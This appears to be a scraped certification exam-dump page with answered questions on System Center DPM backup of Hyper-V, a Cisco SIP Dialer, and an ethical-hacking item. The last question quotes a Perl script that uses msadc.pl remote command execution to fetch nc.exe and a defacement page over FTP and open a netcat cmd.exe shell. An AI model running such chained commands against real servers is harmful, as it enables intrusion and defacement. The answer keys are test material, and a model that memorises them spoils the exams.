NEW QUESTION: 1

Your company has a private cloud that is managed by using a System Center 2012 infrastructure. You install the servers shown in the following table.

The company's compliance department identifies the following tasks that must be performed:

- Back up individual files from VM1.
 - Back up configuration settings of VM1.
 - Restore the configuration settings of VM1.
 - Restore individual files from VM1 to an alternate location.
- The compliance department administrators recommend installing the DPM agent on Server1, and then performing a full backup. You need to identify which task is NOT met by the recommended solution.

Which task should you identify?

- A. Back up the configuration settings of VM1.
- B. Back up individual files from VM1.
- C. Restore the configuration settings of VM1.
- D. Restore individual files from VM1 to an alternate location.

Answer: C

If you're here, you already know you love virtualization so it's tempting to, as new services come on board, add them to the virtual environment. But, be careful when you consider adding Data Protection Manager as a virtual service.

If you do, you lose the key ability to fully protect Hyper-V-based workloads using DPM's native Hyper-V hooks.

The reason: In order to fully protect Hyper-V with DPM, the DPM server requires that the Hyper-V role be installed on it. You can't install the Hyper-V role inside a virtual guest due to lack of VT/AMD-V capability inside the VM.

Hence, you're out of luck.

Let's talk specifics: In short, although you can still protect Hyper-V with a virtual DPM server, on the recovery side, you lose the ability to perform item-level restoration of items from inside a virtual machine.

You can still protect individual virtual machine workloads by installing the DPM agent inside the virtual machine's guest OS at which point DPM sees that VM as just another system to be protected.

My advice: Just go physical if you're deploying DPM, especially if you need that native Hyper-V support.

NOTE: The text below was copied from a duplicate question.

In the event of disaster recovery, System Center Data Protection Manager (DPM) 2010 allows you to recover virtual machines as files to a network folder. You can then copy those files to an alternate Hyper-V host server. However, to start a virtual machine on an alternate Hyper-V host server, you have to manually create and configure the virtual machine using the recovered files.

DPM 2010 supports alternate location recovery (ALR), which allows you to recover a Hyper-V virtual machine to an alternate stand-alone Hyper-V host or to a cluster. The recovered virtual machine is already registered and configured on an alternate Hyper-V host server.

In a virtualized environment the issue is whether to backup from inside the guest or from the host. The latter provides "bare metal restore" of an entire VM where something's gone catastrophically wrong with a VM (or the host) but in general it doesn't provide granular restore of files / folders. DPM 2010 added Item Level Restore (ILR), allowing you to restore individual files or folders within a VM even though it had only been backed up from the host. But this capability was only available when DPM 2010 ran on physical hardware, if the DPM server itself was in a VM this capability was not available. DPM 2012 fixes this glitch and can now do ILR even when the DPM server is a VM.

When using the Cisco Unified Outbound Option SIP Dialer 8.0(x), which statement is true?

- A.** The SIP Dialer requires two MR PIMs for duplex SIP dialers.
- B.** The SIP Dialer uses Cisco Unified Communications Manager routing and dial plans for outbound call routing.
- C.** The SIP Dialer scales to 60 calls per second per dialer.
- D.** The SIP Dialer engages the agent peripheral gateway for each outbound call.

Answer: C

NEW QUESTION: 3

A tester has been using the msadc.pl attack script to execute arbitrary commands on a Windows NT4 web server. While it is effective, the tester finds it tedious to perform extended functions. On further research, the tester come across a perl script that runs the following msadc functions:

```
system("perl msadc.pl -h $host -C \"echo open $your  
&gt;testfile\");  
system("perl msadc.pl -h $host -C \"echo  
$user&gt;&gt;testfile\");  
system("perl msadc.pl -h $host -C \"echo
```

```
$pass&gt;&gt;testfile\");
system("perl msadc.pl -h $host -C \"echo
bin&gt;&gt;testfile\");
system("perl msadc.pl -h $host -C \"echo get
nc.exe&gt;&gt;testfile\");
system("perl msadc.pl -h $host -C \"echo get
hacked.html&gt;&gt;testfile\"); ("perl msadc.pl -h $host -C
\"echo quit&gt;&gt;testfile\");
system("perl msadc.pl -h $host -C \"ftp \-s\ :testfile\");
$o=; print "Opening ...\\n";
system("perl msadc.pl -h $host -C \"nc -l -p $port -e
cmd.exe\");
```

Which exploit is indicated by this script?

- A. A buffer overflow exploit
- B. A chained exploit
- C. A SQL injection exploit
- D. A denial of service exploit
